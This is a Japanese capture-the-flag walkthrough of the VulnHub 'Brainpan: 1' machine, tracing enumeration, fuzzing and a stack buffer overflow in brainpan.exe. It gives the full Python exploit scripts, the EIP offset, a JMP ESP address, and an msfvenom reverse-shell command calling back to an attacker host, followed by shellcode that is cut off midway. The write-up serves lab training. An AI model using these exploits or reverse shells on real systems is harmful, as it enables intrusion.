「Brainpan: 1」は、「superkojiman」によって開発され、VulnHubにて公開されているシリーズの一つです。
リリース情報
名称: Brainpan: 1
リリース日: 2013年3月20日
シリーズ: Brainpan
作者: superkojiman
Twitter: @superkojiman
Walkthrough
列挙
稼働しているIPアドレスの特定
ネットワーク内のIPアドレスを探すために、netdiscover
コマンドを使用します。
root@kali:~# netdiscover -r 172.16.208.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
172.16.208.1 00:50:56:c0:00:08 1 60 VMware, Inc.
172.16.208.2 00:50:56:f3:32:8a 1 60 VMware, Inc.
172.16.208.233 00:0c:29:f9:f6:fd 1 60 VMware, Inc.
172.16.208.254 00:50:56:f0:ad:14 1 60 VMware, Inc.
これで、標的のIPアドレスが172.16.208.233
であることが特定できました。
実行されているサービスの特定
次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。nmap -Pn -sS -sV -p- 172.16.208.233
コマンド構文を使用します。各オプションの狙いは、次の通りです。
-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p-: すべてのポートを対象にします
root@kali:~# nmap -Pn -sS -sV -p- 172.16.208.233
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-15 15:12 JST
Nmap scan report for 172.16.208.233
Host is up (0.00052s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
9999/tcp open abyss?
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.70%I=7%D=9/15%Time=5D7DD645%P=i686-pc-linux-gnu%r(NULL
SF:,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|\x
SF:20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x2
SF:0\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x20
SF:\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20
SF:\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20
SF:\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20
SF:_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20
SF:_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x20
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x20
SF:_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x20
SF:_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x20
SF:THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 00:0C:29:F9:F6:FD (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.66 seconds
root@kali:~#
TCP 9999のスキャン
nmap
コマンドの結果から、9999/tcp
がオープン状態であったことが特定されています。そこで、telnet
コマンドを使ってバナー情報を取得してみましょう。
root@kali:~# telnet 172.16.208.233 9999
Trying 172.16.208.233...
Connected to 172.16.208.233.
Escape character is '^]'.
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
ACCESS DENIED
Connection closed by foreign host.
root@kali:~#
認証機構を有するサービスが稼働しています。password
、root
、admin
、brainpan
、napniarb
など脆弱なパスワードを試行してみましたが、ログインはできませんでした。
ウェブサイトの診断
ウェブサイトから攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。dirb
コマンドを使用します。
root@kali:~# dirb http://172.16.208.233:10000/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Sep 15 18:22:10 2019
URL_BASE: http://172.16.208.233:10000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.208.233:10000/ ----
+ http://172.16.208.233:10000/bin (CODE:301|SIZE:0)
+ http://172.16.208.233:10000/index.html (CODE:200|SIZE:215)
-----------------
END_TIME: Sun Sep 15 18:22:18 2019
DOWNLOADED: 4612 - FOUND: 2
root@kali:~#
HTTPサービスのスキャン
dirb
コマンドの結果に基づいて、Firefoxブラウザを使ってアクセスしてみます。
-
index.html
ファイル
-
/bin
ディレクトリ
brainpan.exe
ダウンロード
/bin
ディレクトリにあるbrainpan.exe
をダウンロードします。
root@kali:~# wget http://172.16.208.233:10000/bin/brainpan.exe
--2019-09-15 18:30:15-- http://172.16.208.233:10000/bin/brainpan.exe
Connecting to 172.16.208.233:10000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 21190 (21K) [application/x-msdos-program]
Saving to: ‘brainpan.exe’
brainpan.exe 100%[=====================>] 20.69K --.-KB/s in 0.007s
2019-09-15 18:30:15 (2.88 MB/s) - ‘brainpan.exe’ saved [21190/21190]
root@kali:~#
表層解析
ダウンロードしたファイルについて、まずは表層解析を行います。file
コマンド、binwalk
コマンドで確認してみます。
root@kali:~# file brainpan.exe
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
root@kali:~# binwalk brainpan.exe
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Microsoft executable, portable (PE)
6326 0x18B6 Unix path: /../gcc-3.4.5/gcc/config/i386/w32-shared-ptr.c
root@kali:~#
Windows のローダが認識可能な実行可能ファイルのようです。
ASCII文字列の確認
strings
コマンドを使って、brainpan.exe
ファイル中のASCII文字列について確認してみます。
root@kali:~# strings brainpan.exe
!This program cannot be run in DOS mode.
興味深いバナー情報が得られました。どうやら、標的環境で9999/tcp
にて待ち受けていたのは、brainpan.exe
プログラムだった模様です。
[get_reply] s = [%s]
[get_reply] copied %d bytes to buffer
shitstorm
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
ACCESS DENIED
ACCESS GRANTED
[+] initializing winsock...
[!] winsock init failed: %d
done.
[!] could not create socket: %d
[+] server socket created.
[!] bind failed: %d
[+] bind done on port %d
[+] waiting for connections.
[+] received connection.
[+] check is %d
[!] accept failed: %d
[+] cleaning up.
accept
、bind
、listen
、recv
、send
、socket
などの関数が確認できます。これらから、ネットワークサーバーアプリケーションであるといえます。
str
系関数(strcmp
、strcpy
、strlen
)が使われていることが確認できます。これらは書き込み先バッファのバッファ境界を無視するため、危険な関数たちとして知られています。
abort
atexit
free
malloc
memset
printf
signal
strcmp
strcpy
strlen
WSACleanup
WSAGetLastError
WSAStartup
accept
bind
closesocket
htons
listen
recv
send
socket
動的解析
wine
環境で、brainpan.exe
を実行させてみましょう。
root@kali:~# wine brainpan.exe
000f:err:service:process_send_command receiving command result timed out
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
別のターミナルを立ち上げて、9999/tcp
に接続してみます。やはり、推測のとおりだったようです。試しにパスワードとしてtest
を入力してみました。
# telnet localhost 9999
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> test
ACCESS DENIED
Connection closed by foreign host.
このとき、brainpan.exe
側では、[get_reply] copied 6 bytes to buffer
の出力を確認することができました。
root@kali:~# wine brainpan.exe
000f:err:service:process_send_command receiving command result timed out
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
0015:err:service:process_send_command receiving command result timed out
0029:err:plugplay:handle_bus_relations Failed to load driver L"WineHID"
[+] received connection.
[get_reply] s = [test
]
[get_reply] copied 6 bytes to buffer
[+] check is 1
[get_reply] s = [test
]
[get_reply] copied 6 bytes to buffer
パスワードの数を数字10桁から少しずつ増やしていってみましょう。10、100、500、600と増やしていきました。
[get_reply] copied 6 bytes to buffer
[+] received connection.
[get_reply] s = [0123456789
]
[get_reply] copied 12 bytes to buffer
[+] check is -1
[get_reply] s = [0123456789
]
[get_reply] copied 12 bytes to buffer
[+] received connection.
[get_reply] s = [0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 102 bytes to buffer
[+] check is -1
[get_reply] s = [0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 102 bytes to buffer
[+] received connection.
[get_reply] s = [01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 402 bytes to buffer
[+] check is -1
[get_reply] s = [0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 402 bytes to buffer
[+] received connection.
[get_reply] s = [01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 502 bytes to buffer
[+] check is -1
[get_reply] s = [01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 502 bytes to buffer
[+] received connection.
[get_reply] s = [012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 602 bytes to buffer
wine: Unhandled page fault on read access to 0x37363534 at address 0x37363534 (thread 0009), starting debugger...
600桁のパスワードを入力したところで、wine: Unhandled page fault on read access to 0x37363534 at address 0x37363534 (thread 0009), starting debugger...
エラーが発生しました。
ASCII文字列の確認で得られた文字列shitstorm
に注目しました。nc
コマンドでパイプし、送ってみました。
ACCESS GRANTED
の表示が確認できました。ただ、これ以上の操作は難しそうです。
root@kali:~# echo shitstorm | nc 172.16.208.128 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> ACCESS GRANTED
静的解析
brainpan.exe
の静的解析を行います。次のWindows環境にプログラムをコピーしました。
c:\bin>ver
Microsoft Windows [Version 6.1.7600]
c:\bin>echo %PROCESSOR_ARCHITECTURE%
x86
解析ツールの入手
予め、バイナリファイルの解析に有効な次のツールをインストールしておきます。
ツール | URL |
---|---|
IDA Pro(アイダ プロ) | https://www.hex-rays.com/products/ida/support/download_freeware.shtml |
Ghidra(ギドラ) | https://ghidra-sre.org/ |
OllyDbg(オリーデバッガ) | http://www.ollydbg.de/download.htm |
Immunity Debugger(イミュニティー デバッガ) | https://www.immunityinc.com/products-immdbg.shtml |
Immunity Debugger
Immunity Debugger
を起動し、[File] > [Open]または、F3
にて、brainpan.exe
を選択します。
[Debug] > [Run]または、F9
にて、プログラムを実行します。
ファジング(Fuzzing)
brainpan.exe
にファズ(fuzz)データを送信するペイロードfuzzer_brainpan.py
プログラムをコーディングします。
このコードはbrainpan.exe
が受け入れる限り、A
文字列を100ステップで送り続けます。
#!/usr/bin/python
import sys,socket
host = "172.16.208.128" # connect to Target IP Address
port = 9999 # connect to port
buffer = ["A"]
counter = 100
while len(buffer) <= 30:
buffer.append("A" * counter)
counter = counter + 100
for string in buffer:
print ("Fuzzing with %s bytes" % len(string))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(string + '\r\n')
data = s.recv(1024)
s.close()
結果、700 bytesまで受け入れていることが明らかとなりました。
root@kali:~# python fuzzer_brainpan.py
Fuzzing with 1 bytes
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
EIPの奪取
ペイロードを実行した結果、EIP
(Extended Instruction Pointer:拡張命
令ポインタ)の値が41414141
(A
の16進コードは0x41
)で上書きされていることが確認できます。
続いて、EIP
を上書きする正確な文字数を特定する必要があります。必要となるテスト用のパターンを作成する方法はいくつかあります。
Immunity Debugger
プラグインのmona.py
または、Metasploit Framework
のpattern_create
とpatter_offset
にて生成することが可能です。
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l
800Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
作成されたパターンを送信するようにコードを書き換えます。
#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999
string = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
print "Fuzzing..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(string)
data = s.recv(1024)
for line in data:
if 'ACCESS' in line:
print line
s.close()
Python
コードを実行します。Immunity Debugger
を確認すると、EIP
が35724134
にて上書きされていることが解ります。
Metasploit Framework
のpatter_offset
を使用して、正確なバイトカウントを取得します。524 byte
であることが判明しました。
root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
[*] Exact match at offset 524
root@kali:~#
Offsetの検証
コードをさらに書き換えます。
-
524 bytes
のA
(16進コードは0x41
)でバッファを上書き -
EIP
の値を42424242
(B
の16進コードは0x42
)で上書き -
500 bytes
のC
(16進コードは0x43
)を疑似ペイロードにみたて上書き
#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999
junk = b"A" * 524
EIP = b"BBBB"
payload = b"C" * 500
print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + EIP + payload)
s.close()
Python
コードを実行します。Immunity Debugger
を確認すると、EIP
を42424242
にて上書きすることに成功したことが確認できます。
JMP ESPの検索
ペイロードを発動させるには、EMP
をJMP ESP
アドレスで上書きする必要があります。CPU - main thread, module brainpan
ウィンドウにて、右クリックし、[Search for] > [All commands]を選択します。
[Find all commands]ウィンドウにて、JMP ESP
を指定して検索します。
メモリアドレス311712F3
にJMP ESP
命令が含まれているようです。
詳細を確認してみましょう。画面上部の検索ボタンをクリックし、メモリアドレス311712F3
を入力します。[OK]をクリックしてImmunity Debugger
内でメモリアドレスを検索します。デバッガはアドレスにジャンプし、JMP ESP
命令が実際に含まれていることを確認できます。
EIP = b"BBBB"
をメモリアドレス311712F3
に置き換えるコードの書き換えを行います。
このとき、x86アーキテクチャはリトルエンディアン形式のメモリアドレスを使用することに注意が必要です。すなわち、メモリアドレスを逆に入力する必要があります。メモリアドレス31 17 12 F3
であれば、変数内では16進形式で\xF3\x12\x17\x31
として記述する必要があります。
#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999
junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
payload = b"C" * 500
print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + payload)
s.close()
コードを実行する前に、Immunity Debugger
でブレークポイントの設定を行います。これにより、そのポイントを超えて命令を実行する前に一時停止するように指示することを狙っています。
Immunity Debugger
で、メモリアドレス311712F3
をクリックし、F2
キーを押してブレークポイントを設定します。
Python
コードを実行します。Immunity Debugger
を確認すると、ステータスバー
に、JMP ESP命令を含むメモリアドレス311712F3
でブレークポイントに到達したことが示されます。
F7
キーを押して次のステップへ進めます。文字列C
が上書きされているメモリアドレス0022F930
へ移動します。
Bad Charactersの検証
一部の16進文字は、シェルコードの実行を妨げるため、禁じられている場合があります。これをBad Characters
と呼びます。シェルコードを生成する前に定義されているBad Characters
を見つける必要があります。
典型的な例として、NULL文字
またはNULLバイト
と呼ばれる\x00
があります。
Bad Characters
を見つけるため、まずすべての16進文字を用意する必要があります。そこで、次のPython
コードを使って16進文字の生成を行います。
import sys
for x in range(1,256):
sys.stdout.write("\\x" + '{:02x}'.format(x))
用意したBad Characters
を送信するようにコードを書き換えます。
#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999
junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + badchars)
s.close()
Python
コードを実行し、Immunity Debugger
を確認します。ESP
レジスタのFollow in Dump
機能を利用し、バッファ変数がどこかで切り捨てられている可能性を確認します。
brainpan.exe
では、\x01
から\xFF
まで途切れていません。すなわち、特別に禁じられているBad Characters
はありませんでした。
Exploitの検証
msfvenomu
コマンドを使用して、攻撃端末のリスナーに接続するWindowsリバースシェルシェルコードを生成します。コマンド構文は、msfvenom -p windows/shell_reverse_tcp LHOST=172.16.208.242 LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00" -f c > shellcode.txt
です。
root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.208.242 LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00" -f c > shellcode.txt
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
root@kali:~#
用意したshellcode.txt
を送信するようにコードを書き換えます。このとき、シェルコード本体の前にNOP
(No Operation)命令(\x90
)を8つ挿入しています。
#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999
junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
NOP = "\x90" * 8
shellcode = ("\xda\xc2\xb8\xc1\x52\xef\xec\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x52\x31\x43\x17\x03\x43\x17\x83\x02\x56\x0d\x19\x78\xbf\x53"
"\xe2\x80\x40\x34\x6a\x65\x71\x74\x08\xee\x22\x44\x5a\xa2\xce"
"\x2f\x0e\x56\x44\x5d\x87\x59\xed\xe8\xf1\x54\xee\x41\xc1\xf7"
"\x6c\x98\x16\xd7\x4d\x53\x6b\x16\x89\x8e\x86\x4a\x42\xc4\x35"
"\x7a\xe7\x90\x85\xf1\xbb\x35\x8e\xe6\x0c\x37\xbf\xb9\x07\x6e"
"\x1f\x38\xcb\x1a\x16\x22\x08\x26\xe0\xd9\xfa\xdc\xf3\x0b\x33"
"\x1c\x5f\x72\xfb\xef\xa1\xb3\x3c\x10\xd4\xcd\x3e\xad\xef\x0a"
"\x3c\x69\x65\x88\xe6\xfa\xdd\x74\x16\x2e\xbb\xff\x14\x9b\xcf"
"\xa7\x38\x1a\x03\xdc\x45\x97\xa2\x32\xcc\xe3\x80\x96\x94\xb0"
"\xa9\x8f\x70\x16\xd5\xcf\xda\xc7\x73\x84\xf7\x1c\x0e\xc7\x9f"
"\xd1\x23\xf7\x5f\x7e\x33\x84\x6d\x21\xef\x02\xde\xaa\x29\xd5"
"\x21\x81\x8e\x49\xdc\x2a\xef\x40\x1b\x7e\xbf\xfa\x8a\xff\x54"
"\xfa\x33\x2a\xfa\xaa\x9b\x85\xbb\x1a\x5c\x76\x54\x70\x53\xa9"
"\x44\x7b\xb9\xc2\xef\x86\x2a\x41\xff\x58\x58\xf1\x02\x58\x8c"
"\x5e\x8a\xbe\xc4\x4e\xda\x69\x71\xf6\x47\xe1\xe0\xf7\x5d\x8c"
"\x23\x73\x52\x71\xed\x74\x1f\x61\x9a\x74\x6a\xdb\x0d\x8a\x40"
"\x73\xd1\x19\x0f\x83\x9c\x01\x98\xd4\xc9\xf4\xd1\xb0\xe7\xaf"
"\x4b\xa6\xf5\x36\xb3\x62\x22\x8b\x3a\x6b\xa7\xb7\x18\x7b\x71"
"\x37\x25\x2f\x2d\x6e\xf3\x99\x8b\xd8\xb5\x73\x42\xb6\x1f\x13"
"\x13\xf4\x9f\x65\x1c\xd1\x69\x89\xad\x8c\x2f\xb6\x02\x59\xb8"
"\xcf\x7e\xf9\x47\x1a\x3b\x19\xaa\x8e\x36\xb2\x73\x5b\xfb\xdf"
"\x83\xb6\x38\xe6\x07\x32\xc1\x1d\x17\x37\xc4\x5a\x9f\xa4\xb4"
